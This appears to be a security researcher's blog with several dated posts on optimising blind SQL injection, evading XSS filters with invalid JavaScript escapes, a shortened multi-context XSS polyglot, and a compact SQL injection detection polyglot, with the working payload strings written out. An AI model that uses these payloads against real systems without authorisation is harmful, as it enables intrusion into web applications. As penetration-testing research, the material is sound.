High Speed Blind SQL injections - Optimization Methods

I came to the conclusion that the blind SQL injection attack vectors we use are very old, slow, and there is a huge room for improvement to make them much faster and efficient.

I spent some time designing new highly optimized SQL injection vectors and I wrote a paper where I documented these vectors. It got accepted to present this research at various conferences such as Hackfest Quebec, B-Sides Philly, BugCON Mexico, DragonJAR Colombia and Hack in Paris (which I missed because I was severely jet-lagged and I feel very ashamed to say so).

For a self-explanatory and condensed version of the paper, you can find the slides of the talk HERE.

If you prefer a thorough explanation, you can find the paper in .txt format HERE.

Greetings.

2023-08-04

XSS filter evasion through invalid escapes

Most of the time, XSS filters look for specific keywords to detect invocation of dangerous functions or variables. A very common bypass technique is to break these specific character sequences like this:

window['ale'+'rt'](1)
window['alexrt'.replace(/x/,'')](1)

Several years ago I found a nice feature in javascript that allows the attacker to break character sequences in a very easy, quick, straight-forward way. It consists of escaping characters that do not have an escape sequence assigned. For instance, this are valid escapes in javascript:

\' Simple quote
\" Double doble
\ Backslash
\n New line
\r Carriage return
\v Vertical tab
\t Tab
\b Backspace
\f Page forward

Those characters will be escaped to their corresponding values if you add a backslash before them.

If you use a backslash before any other character javascript will simply ignore the backslashes, so the string will be broken while still preserving its meaning:

window['\a\l\ert'](1)
window['\pr\o\m\pt'](1)

I hope this will help to do your hacking simpler and faster.

2023-07-28

Blind XSS Detection

I noticed that Gareth Heyes has a sweet one-liner XSS testing polyglot in his twitter profile (@GarethHeyes).

This vector is particularly useful for detecting blind XSS vulnerabilities.

I thought it would be fun to see if I could make it shorter and more effective.

I managed to shorten the length by 10 bytes and surprisingly enough it also works in one more context. This is the one-liner polyglot:

javascript:/*</title></textarea></style --></xmp></script><svg/onload='//"/**/%0a
onmouseover=alert()//'>

It is 103 bytes long and it works in one more context than Gareth's (his doesn't work in single line comment contexts (//), although I find his vector to be more elegant).

I decided to improve it so that it works in every possible context:

<script>xss</script>
<script>a='xss'</script>
<script>a="xss"</script>
<script>a="xss"</script>
<script>//xss</script>
<script>/*xss*/</script>
<a href='xss'></a>
<title>xss</title>
<textarea>xss</textarea>
<style>xss</style>
<div>xss</div>
<div xss></div>
<div class='xss'></div>
<div class="xss"></div>
<div class=xss></div>
<noscript>xss</noscript>
<noembed>xss</noembed>
<!-- xss -->
<xmp>xss</xmp>
<math>xss</math>
<frameset>xss</frameset>

The resulting vector is:

javascript:/*</title></textarea></style --></xmp></script></noembed></noscript></math><svg/onload='//"/**/%0aonmouseover=alert()//'>

Besides for Blind XSS, this vector is also good for optimizing the process of finding regular cross-site scripting vulnerabilities. Instead of having to send 21 requests to each parameter when testing an application, you only have to make 1 request. This gets the job done in approximately only 5% of the time.

Can you make it even shorter? Let me know in the comments or through twitter (@ruben_v_pina)

2023-07-12

SQL Injection Detection Optimization

For Black Hat 2013, Roberto Salgado (@LightOS) came up with the idea of optimizing the detection phase of SQL injection vulnerabilities.

Usually, to test if a parameter is vulnerable to SQL injection, the following requests must be performed to find out the context of the injection. It might be between single quotes ('), double quotes (") or with no delimiters at all:

TRUE RESPONSES
-1' or '1'='1
-1" or "1"="1
-1 or 1=0

FALSE RESPONSES
-1' or '1'='0
-1" or "1"="0
-1 or 1=0

LightOS came up with the idea of fusing the three testing vectors. This is the multi-context functional polyglot that works in any of the already three mentioned contexts:

-1 OR 1#"or"'OR''='"="'OR''='

Numeric context:
-1 OR 1#"or"'OR''='"="'OR''='

Double quotation:
-1 OR 1#"or"'OR''='"="'OR''='

Single quotation:
-1 OR 1#"or"'OR''='"="'OR''='

You can find his slides in the following link: https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf

Mirror: https://nzt-48.org/presentations/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf

My version of the vector is 7 characters shorter:

-1 or 1#'or"or'"!='!="

Numeric context:
-1 or 1#'or"or'"!='!="

Single quotation:
-1 or 1#'or"or'"!='!="

Double quotation:
-1 or 1#'or"or'"!='!="

I find LightOS's solution to be much more elegant because he used an equality. See if you can make it even shorter.